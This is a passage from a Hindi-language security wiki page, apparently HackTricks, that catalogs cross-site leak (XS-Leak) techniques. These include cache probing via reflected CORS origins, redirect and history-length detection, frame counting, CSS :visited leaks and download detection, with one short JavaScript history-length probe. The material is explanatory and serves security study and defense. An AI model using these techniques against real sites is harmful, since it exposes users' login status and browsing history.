- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
|
- **Summary**: यदि Origin हेडर को `Access-Control-Allow-Origin` हेडर में परावर्तित किया जाता है, तो यह जांचना संभव है कि क्या कोई संसाधन पहले से कैश में है।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
|
|
|
यदि **Origin हेडर** को `Access-Control-Allow-Origin` हेडर में **परावर्तित** किया जा रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **CORS** मोड में **संसाधन** को **फेच** करने का प्रयास कर सकता है। यदि **त्रुटि** **ट्रिगर नहीं होती है**, तो इसका मतलब है कि इसे **वेब से सही तरीके से प्राप्त किया गया था**, यदि त्रुटि **ट्रिगर होती है**, तो इसका मतलब है कि इसे **कैश से एक्सेस किया गया था** (त्रुटि इसलिए प्रकट होती है क्योंकि कैश एक प्रतिक्रिया को CORS हेडर के साथ बचाता है जो मूल डोमेन की अनुमति देता है और हमलावर के डोमेन की नहीं)**।\
|
|
ध्यान दें कि यदि मूल परावर्तित नहीं होता है लेकिन एक वाइल्डकार्ड का उपयोग किया जाता है (`Access-Control-Allow-Origin: *`), तो यह काम नहीं करेगा।
|
|
|
|
## Readable Attributes Technique
|
|
|
|
### Fetch Redirect
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
|
- **Summary:** GC और SA पुनर्निर्देश समाप्त होने के बाद प्रतिक्रिया के प्रकार (opaque-redirect) की जांच करने की अनुमति देते हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
|
|
|
`redirect: "manual"` और अन्य पैरामीटर के साथ Fetch API का उपयोग करके एक अनुरोध सबमिट करते समय, यह संभव है कि `response.type` एट्रिब्यूट को पढ़ा जाए और यदि यह `opaqueredirect` के बराबर है, तो प्रतिक्रिया एक पुनर्निर्देश थी।
|
|
|
|
### COOP
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
|
- **Summary:** Cross-Origin Opener Policy (COOP) द्वारा सुरक्षित पृष्ठ क्रॉस-ओरिजिन इंटरैक्शन से पहुंच को रोकते हैं।
|
|
- **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
|
|
|
एक हमलावर क्रॉस-ओरिजिन HTTP प्रतिक्रिया में Cross-Origin Opener Policy (COOP) हेडर की उपस्थिति का अनुमान लगा सकता है। COOP का उपयोग वेब अनुप्रयोगों द्वारा बाहरी साइटों को मनमाने विंडो संदर्भ प्राप्त करने से रोकने के लिए किया जाता है। इस हेडर की दृश्यता को **`contentWindow` संदर्भ** तक पहुंचने का प्रयास करके पहचाना जा सकता है। उन परिदृश्यों में जहां COOP को शर्तों के अनुसार लागू किया जाता है, **`opener` प्रॉपर्टी** एक स्पष्ट संकेतक बन जाती है: यह COOP सक्रिय होने पर **undefined** होती है, और इसके अभाव में **defined** होती है।
|
|
|
|
### URL Max Length - Server Side
|
|
|
|
- **Inclusion Methods**: Fetch API, HTML Elements
|
|
- **Detectable Difference**: Status Code / Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
|
- **Summary:** पुनर्निर्देश प्रतिक्रिया की लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाना संभव है, जो इतनी बड़ी हो सकती है कि सर्वर त्रुटि के साथ पुनः खेलता है और एक अलर्ट उत्पन्न होता है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
|
|
|
यदि सर्वर-साइड पुनर्निर्देश **पुनर्निर्देश में उपयोगकर्ता इनपुट** और **अतिरिक्त डेटा** का उपयोग करता है। इस व्यवहार का पता लगाना संभव है क्योंकि सामान्यतः **सर्वर** के पास **सीमित अनुरोध लंबाई** होती है। यदि **उपयोगकर्ता डेटा** **लंबाई - 1** है, क्योंकि **पुनर्निर्देश** उस **डेटा** का उपयोग कर रहा है और **कुछ अतिरिक्त जोड़ रहा है**, तो यह **त्रुटि को ट्रिगर करेगा जिसे त्रुटि घटनाओं के माध्यम से पहचाना जा सकता है**।
|
|
|
|
यदि आप किसी तरह उपयोगकर्ता को कुकीज़ सेट कर सकते हैं, तो आप इस हमले को **पर्याप्त कुकीज़ सेट करके** भी कर सकते हैं ([**कुकी बम**](hacking-with-cookies/cookie-bomb.md)) ताकि **सही प्रतिक्रिया** के **प्रतिक्रिया के आकार** के साथ एक **त्रुटि** ट्रिगर हो। इस मामले में, याद रखें कि यदि आप इस अनुरोध को एक ही साइट से ट्रिगर करते हैं, तो `<script>` स्वचालित रूप से कुकीज़ भेजेगा (ताकि आप त्रुटियों की जांच कर सकें)।\
|
|
**कुकी बम + XS-Search** का एक उदाहरण इस लेख के इरादे के समाधान में पाया जा सकता है: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
|
|
|
`SameSite=None` या एक ही संदर्भ में होना इस प्रकार के हमले के लिए सामान्यतः आवश्यक है।
|
|
|
|
### URL Max Length - Client Side
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Status Code / Content
|
|
- **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
- **Summary:** पुनर्निर्देश प्रतिक्रिया की लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाना संभव है, जो एक अनुरोध के लिए बहुत बड़ी हो सकती है कि एक भिन्नता का पता लगाया जा सके।
|
|
- **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
|
|
[Chromium दस्तावेज़](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) के अनुसार, Chrome की अधिकतम URL लंबाई 2MB है।
|
|
|
|
> सामान्यतः, _वेब प्लेटफ़ॉर्म_ URL की लंबाई पर कोई सीमा नहीं रखता (हालांकि 2^31 एक सामान्य सीमा है)। _Chrome_ व्यावहारिक कारणों और अंतःप्रक्रिया संचार में सेवा से इनकार की समस्याओं से बचने के लिए URLs को अधिकतम लंबाई **2MB** तक सीमित करता है।
|
|
|
|
इसलिए यदि **पुनर्निर्देश URL एक मामले में बड़ा है**, तो इसे **2MB से बड़ा URL** के साथ पुनर्निर्देशित करना संभव है ताकि **लंबाई सीमा** को हिट किया जा सके। जब ऐसा होता है, तो Chrome एक **`about:blank#blocked`** पृष्ठ दिखाता है।
|
|
|
|
**ध्यान देने योग्य भिन्नता** यह है कि यदि **पुनर्निर्देश** **पूर्ण** था, तो `window.origin` एक **त्रुटि** फेंकता है क्योंकि एक क्रॉस ओरिजिन उस जानकारी तक पहुंच नहीं सकता। हालाँकि, यदि **सीमा** हिट की गई थी और लोड किया गया पृष्ठ **`about:blank#blocked`** था, तो विंडो का **`origin`** उस **माता-पिता** का रहता है, जो एक **सुलभ जानकारी** है।
|
|
|
|
**2MB** तक पहुँचने के लिए आवश्यक सभी अतिरिक्त जानकारी को प्रारंभिक URL में एक **हैश** के माध्यम से जोड़ा जा सकता है ताकि इसे **पुनर्निर्देश में** उपयोग किया जा सके।
|
|
|
|
{{#ref}}
|
|
xs-search/url-max-length-client-side.md
|
|
{{#endref}}
|
|
|
|
### Max Redirects
|
|
|
|
- **Inclusion Methods**: Fetch API, Frames
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
|
- **Summary:** ब्राउज़र के पुनर्निर्देश सीमा का उपयोग URL पुनर्निर्देशों की घटना का पता लगाने के लिए करें।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
|
|
|
यदि एक ब्राउज़र के लिए **अधिकतम** संख्या **पुनर्निर्देशों** का पालन करने के लिए **20** है, तो एक हमलावर **19 पुनर्निर्देशों** के साथ अपने पृष्ठ को लोड करने का प्रयास कर सकता है और अंततः **पीड़ित को** परीक्षण किए गए पृष्ठ पर भेज सकता है। यदि एक **त्रुटि** ट्रिगर होती है, तो इसका मतलब है कि पृष्ठ **पीड़ित को पुनर्निर्देशित** करने का प्रयास कर रहा था।
|
|
|
|
### History Length
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Redirects
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
|
- **Summary:** JavaScript कोड ब्राउज़र इतिहास में हेरफेर करता है और इसे लंबाई प्रॉपर्टी द्वारा एक्सेस किया जा सकता है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
|
|
|
**History API** JavaScript कोड को ब्राउज़र इतिहास में हेरफेर करने की अनुमति देता है, जो **उपयोगकर्ता द्वारा देखे गए पृष्ठों को सहेजता है**। एक हमलावर लंबाई प्रॉपर्टी का उपयोग एक समावेशन विधि के रूप में कर सकता है: JavaScript और HTML नेविगेशन का पता लगाने के लिए।\
|
|
**`history.length`** की जांच करना, एक उपयोगकर्ता को **एक पृष्ठ पर नेविगेट** करने के लिए कहना, **इसे वापस** उसी मूल पर **बदलना** और **`history.length`** के नए मान की जांच करना।
|
|
|
|
### History Length with same URL
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: यदि URL अनुमानित एक के समान है
|
|
- **Summary:** यह अनुमान लगाना संभव है कि क्या एक फ्रेम/पॉप-अप का स्थान एक विशिष्ट URL में है, इतिहास की लंबाई का दुरुपयोग करके।
|
|
- **Code Example**: नीचे
|
|
|
|
एक हमलावर JavaScript कोड का उपयोग करके **फ्रेम/पॉप-अप स्थान को अनुमानित एक पर हेरफेर कर सकता है** और **तुरंत** **इसे `about:blank` में बदल सकता है**। यदि इतिहास की लंबाई बढ़ गई है, तो इसका मतलब है कि URL सही था और इसमें **बढ़ने का समय था क्योंकि यदि यह वही है तो URL फिर से लोड नहीं होता**। यदि यह नहीं बढ़ा, तो इसका मतलब है कि यह **अनुमानित URL** लोड करने का प्रयास किया गया था, लेकिन क्योंकि हमने **तुरंत बाद** **`about:blank`** लोड किया, **इतिहास की लंबाई कभी नहीं बढ़ी** जब अनुमानित URL लोड किया गया।
|
|
```javascript
|
|
async function debug(win, url) {
|
|
win.location = url + "#aaa"
|
|
win.location = "about:blank"
|
|
await new Promise((r) => setTimeout(r, 500))
|
|
return win.history.length
|
|
}
|
|
|
|
win = window.open("https://example.com/?a=b")
|
|
await new Promise((r) => setTimeout(r, 2000))
|
|
console.log(await debug(win, "https://example.com/?a=c"))
|
|
|
|
win.close()
|
|
win = window.open("https://example.com/?a=b")
|
|
await new Promise((r) => setTimeout(r, 2000))
|
|
console.log(await debug(win, "https://example.com/?a=b"))
|
|
```
|
|
### Frame Counting
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
|
- **Summary:** `window.length` प्रॉपर्टी की जांच करके iframe तत्वों की मात्रा का मूल्यांकन करें।
|
|
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
|
|
|
एक **वेब में फ्रेम की संख्या** को गिनना जो `iframe` या `window.open` के माध्यम से खोला गया है, उपयोगकर्ता की **स्थिति को उस पृष्ठ पर पहचानने में मदद कर सकता है**।\
|
|
इसके अलावा, यदि पृष्ठ में हमेशा समान संख्या में फ्रेम होते हैं, तो फ्रेम की संख्या की **निरंतर** जांच करना एक **पैटर्न** पहचानने में मदद कर सकता है जो जानकारी लीक कर सकता है।
|
|
|
|
इस तकनीक का एक उदाहरण यह है कि क्रोम में, एक **PDF** को **फ्रेम गिनती** के साथ **पहचाना** जा सकता है क्योंकि आंतरिक रूप से `embed` का उपयोग किया जाता है। कुछ कंटेंट पर नियंत्रण की अनुमति देने वाले [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) हैं जैसे `zoom`, `view`, `page`, `toolbar` जहाँ यह तकनीक दिलचस्प हो सकती है।
|
|
|
|
### HTMLElements
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
|
- **Summary:** 2 संभावित राज्यों के बीच भेद करने के लिए लीक किए गए मान को पढ़ें
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
|
|
|
HTML तत्वों के माध्यम से जानकारी का लीक होना वेब सुरक्षा में एक चिंता का विषय है, विशेष रूप से जब उपयोगकर्ता की जानकारी के आधार पर गतिशील मीडिया फ़ाइलें उत्पन्न की जाती हैं, या जब वॉटरमार्क जोड़े जाते हैं, जिससे मीडिया का आकार बदलता है। हमलावर इस जानकारी का विश्लेषण करके संभावित राज्यों के बीच भेद करने के लिए इसका लाभ उठा सकते हैं।
|
|
|
|
### Information Exposed by HTML Elements
|
|
|
|
- **HTMLMediaElement**: यह तत्व मीडिया के `duration` और `buffered` समय को प्रकट करता है, जिसे इसके API के माध्यम से एक्सेस किया जा सकता है। [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
|
- **HTMLVideoElement**: यह `videoHeight` और `videoWidth` को प्रकट करता है। कुछ ब्राउज़रों में, `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, और `webkitDecodedFrameCount` जैसे अतिरिक्त प्रॉपर्टीज उपलब्ध हैं, जो मीडिया सामग्री के बारे में अधिक गहन जानकारी प्रदान करते हैं। [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
|
- **getVideoPlaybackQuality()**: यह फ़ंक्शन वीडियो प्लेबैक गुणवत्ता के बारे में विवरण प्रदान करता है, जिसमें `totalVideoFrames` शामिल है, जो वीडियो डेटा की मात्रा को इंगित कर सकता है। [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
|
- **HTMLImageElement**: यह तत्व एक छवि की `height` और `width` को लीक करता है। हालाँकि, यदि एक छवि अमान्य है, तो ये प्रॉपर्टीज 0 लौटाएंगी, और `image.decode()` फ़ंक्शन अस्वीकृत हो जाएगा, यह संकेत करते हुए कि छवि को सही तरीके से लोड करने में विफलता हुई। [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
|
|
|
### CSS Property
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
|
- **Summary:** उपयोगकर्ता की स्थिति या स्थिति के साथ संबंधित वेबसाइट स्टाइलिंग में भिन्नताओं की पहचान करें।
|
|
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
|
|
|
वेब अनुप्रयोग उपयोगकर्ता की स्थिति के आधार पर **वेबसाइट स्टाइलिंग** को बदल सकते हैं। क्रॉस-ओरिजिन CSS फ़ाइलों को हमलावर पृष्ठ पर **HTML लिंक तत्व** के साथ एम्बेड किया जा सकता है, और **नियम** हमलावर पृष्ठ पर **लागू** किए जाएंगे। यदि एक पृष्ठ गतिशील रूप से इन नियमों को बदलता है, तो एक हमलावर उपयोगकर्ता की स्थिति के आधार पर इन **भिन्नताओं** का **पता लगा सकता है**।\
|
|
एक लीक तकनीक के रूप में, हमलावर `window.getComputedStyle` विधि का उपयोग करके एक विशिष्ट HTML तत्व की **CSS** प्रॉपर्टीज को **पढ़** सकता है। परिणामस्वरूप, यदि प्रभावित तत्व और प्रॉपर्टी का नाम ज्ञात है, तो एक हमलावर मनमाने CSS प्रॉपर्टीज को पढ़ सकता है।
|
|
|
|
### CSS History
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
|
- **Summary:** यह पहचानें कि क्या `:visited` स्टाइल एक URL पर लागू है, यह संकेत करते हुए कि इसे पहले ही देखा गया था
|
|
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
|
|
|
> [!NOTE]
|
|
> [**इस**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) के अनुसार, यह हेडलेस क्रोम में काम नहीं कर रहा है।
|
|
|
|
CSS `:visited` चयनकर्ता का उपयोग URLs को अलग तरीके से स्टाइल करने के लिए किया जाता है यदि उन्हें पहले उपयोगकर्ता द्वारा देखा गया है। पहले, `getComputedStyle()` विधि का उपयोग इन स्टाइल भिन्नताओं की पहचान करने के लिए किया जा सकता था। हालाँकि, आधुनिक ब्राउज़रों ने इस विधि को लिंक की स्थिति को प्रकट करने से रोकने के लिए सुरक्षा उपाय लागू किए हैं। इन उपायों में हमेशा यह सुनिश्चित करना शामिल है कि गणना की गई शैली को इस तरह से लौटाया जाए जैसे कि लिंक को देखा गया हो और `:visited` चयनकर्ता के साथ लागू की जा सकने वाली शैलियों को प्रतिबंधित किया जाए।
|
|
|
|
इन प्रतिबंधों के बावजूद, एक लिंक की देखी गई स्थिति को अप्रत्यक्ष रूप से पहचानना संभव है। एक तकनीक में उपयोगकर्ता को CSS से प्रभावित क्षेत्र के साथ बातचीत करने के लिए धोखा देना शामिल है, विशेष रूप से `mix-blend-mode` प्रॉपर्टी का उपयोग करना। यह प्रॉपर्टी तत्वों को उनके पृष्ठभूमि के साथ मिश्रित करने की अनुमति देती है, संभावित रूप से उपयोगकर्ता की बातचीत के आधार पर देखी गई स्थिति को प्रकट करती है।
|
|
|
|
इसके अलावा, लिंक के रेंडरिंग समय का लाभ उठाकर बिना उपयोगकर्ता की बातचीत के पहचान की जा सकती है। चूंकि ब्राउज़र देखे गए और न देखे गए लिंक को अलग तरीके से रेंडर कर सकते हैं, इससे रेंडरिंग में मापने योग्य समय का अंतर उत्पन्न हो सकता है। एक प्रमाण की अवधारणा (PoC) का उल्लेख एक क्रोमियम बग रिपोर्ट में किया गया था, जिसमें इस तकनीक का उपयोग करके समय के अंतर को बढ़ाने के लिए कई लिंक का उपयोग किया गया, जिससे देखी गई स्थिति को समय विश्लेषण के माध्यम से पहचानना संभव हो गया।
|
|
|
|
इन प्रॉपर्टीज और विधियों के बारे में अधिक जानकारी के लिए, उनके दस्तावेज़ पृष्ठों पर जाएँ:
|
|
|
|
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
|
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
|
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
|
|
|
### ContentDocument X-Frame Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Headers
|
|
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
|
- **Summary:** Google Chrome में, जब एक पृष्ठ को क्रॉस-ओरिजिन साइट पर एम्बेड करने से रोका जाता है तो एक समर्पित त्रुटि पृष्ठ प्रदर्शित होता है, जो X-Frame-Options प्रतिबंधों के कारण होता है।
|
|
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
|
|
|
क्रोम में, यदि `X-Frame-Options` हेडर "deny" या "same-origin" पर सेट किया गया पृष्ठ एक ऑब्जेक्ट के रूप में एम्बेड किया गया है, तो एक त्रुटि पृष्ठ प्रकट होता है। क्रोम इस ऑब्जेक्ट के `contentDocument` प्रॉपर्टी के लिए एक खाली दस्तावेज़ ऑब्जेक्ट (null के बजाय) लौटाता है, जो iframe या अन्य ब्राउज़रों में नहीं होता। हमलावर इस खाली दस्तावेज़ का पता लगाकर इसका लाभ उठा सकते हैं, जो उपयोगकर्ता की स्थिति के बारे में जानकारी प्रकट कर सकता है, विशेष रूप से यदि डेवलपर्स असंगत रूप से X-Frame-Options हेडर सेट करते हैं, अक्सर त्रुटि पृष्ठों को नजरअंदाज करते हैं। सुरक्षा हेडर के प्रति जागरूकता और सुसंगत अनुप्रयोग महत्वपूर्ण हैं ताकि ऐसे लीक को रोका जा सके।
|
|
|
|
### Download Detection
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
|
- **Summary:** एक हमलावर iframe का लाभ उठाकर फ़ाइल डाउनलोड का पता लगा सकता है; iframe की निरंतर पहुंच सफल फ़ाइल डाउनलोड का संकेत देती है।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
|
|
|
`Content-Disposition` हेडर, विशेष रूप से `Content-Disposition: attachment`, ब्राउज़र को सामग्री को इनलाइन प्रदर्शित करने के बजाय डाउनलोड करने के लिए निर्देशित करता है। इस व्यवहार का लाभ उठाकर यह पता लगाया जा सकता है कि क्या उपयोगकर्ता के पास एक पृष्ठ तक पहुंच है जो फ़ाइल डाउनलोड को ट्रिगर करता है। क्रोमियम-आधारित ब्राउज़रों में, इस डाउनलोड व्यवहार का पता लगाने के लिए कुछ तकनीकें हैं:
|
|
|
|
1. **डाउनलोड बार मॉनिटरिंग**:
|
|
- जब एक फ़ाइल क्रोमियम-आधारित ब्राउज़रों में डाउनलोड की जाती है, तो ब्राउज़र विंडो के नीचे एक डाउनलोड बार प्रकट होता है।
|
|
- विंडो की ऊँचाई में परिवर्तनों की निगरानी करके, हमलावर डाउनलोड बार के प्रकट होने का अनुमान लगा सकते हैं, यह सुझाव देते हुए कि एक डाउनलोड शुरू किया गया है।
|
|
2. **iframe के साथ डाउनलोड नेविगेशन**:
|
|
- जब एक पृष्ठ `Content-Disposition: attachment` हेडर का उपयोग करके फ़ाइल डाउनलोड को ट्रिगर करता है, तो यह एक नेविगेशन इवेंट का कारण नहीं बनता है।
|
|
- सामग्री को एक iframe में लोड करके और नेविगेशन इवेंट्स की निगरानी करके, यह जांचना संभव है कि क्या सामग्री का निपटान फ़ाइल डाउनलोड का कारण बनता है (कोई नेविगेशन नहीं) या नहीं।
|
|
3. **iframe के बिना डाउनलोड नेविगेशन**:
|
|
- iframe तकनीक के समान, यह विधि iframe के बजाय `window.open` का उपयोग करती है।
|
|
- नए खोले गए विंडो में नेविगेशन इवेंट्स की निगरानी करके यह पता लगाया जा सकता है कि क्या फ़ाइल डाउनलोड को ट्रिगर किया गया था (कोई नेविगेशन नहीं) या यदि सामग्री इनलाइन प्रदर्शित की गई थी (नेविगेशन होता है)।
|
|
|
|
उन परिदृश्यों में जहाँ केवल लॉगिन किए गए उपयोगकर्ता ऐसे डाउनलोड को ट्रिगर कर सकते हैं, इन तकनीकों का उपयोग उपयोगकर्ता की प्रमाणीकरण स्थिति का अप्रत्यक्ष रूप से अनुमान लगाने के लिए किया जा सकता है।
|
|
|
|
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Timing
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
|
- **Summary:** एक हमलावर iframe का लाभ उठाकर फ़ाइल डाउनलोड का पता लगा सकता है; iframe की निरंतर पहुंच सफल फ़ाइल डाउनलोड का संकेत देती है।
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
|
|
|
> [!WARNING]
|
|
> यही कारण है कि यह तकनीक दिलचस्प है: क्रोम में अब **कैश विभाजन** है, और नए खोले गए पृष्ठ का कैश कुंजी है: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, लेकिन यदि मैं एक ngrok पृष्ठ खोलता हूँ और इसमें fetch का उपयोग करता हूँ, तो कैश कुंजी होगी: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **कैश कुंजी अलग है**, इसलिए कैश साझा नहीं किया जा सकता। आप यहाँ अधिक विवरण पा सकते हैं: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
|
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
|
|
|
यदि एक साइट `example.com` `*.example.com/resource` से एक संसाधन शामिल करती है, तो उस संसाधन का **वही कैशिंग कुंजी** होगा जैसे कि यदि संसाधन को सीधे **शीर्ष-स्तरीय नेविगेशन** के माध्यम से अनुरोध किया गया हो। इसका कारण यह है कि कैशिंग कुंजी शीर्ष-स्तरीय _eTLD+1_ और फ्रेम _eTLD+1_ से बनी होती है।
|
|
|
|
क्योंकि कैश तक पहुंचना संसाधन को लोड करने की तुलना में तेज है, यह संभव है कि एक पृष्ठ के स्थान को बदलने का प्रयास करें और इसे 20ms (उदाहरण के लिए) के बाद रद्द करें। यदि रोकने के बाद मूल बदल गया, तो इसका मतलब है कि संसाधन कैश किया गया था।\
|
|
या बस **संभावित कैश किए गए पृष्ठ पर कुछ fetch भेजें और यह मापें कि इसमें कितना समय लगता है**।
|
|
|
|
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Redirects
|
|
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
|
- **Summary:** यह पता लगाना संभव है कि fetch अनुरोध का उत्तर एक रीडायरेक्ट है
|
|
- **Code Example**:
|
|
|
|
.png>)
|
|
|
|
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Timing
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
|
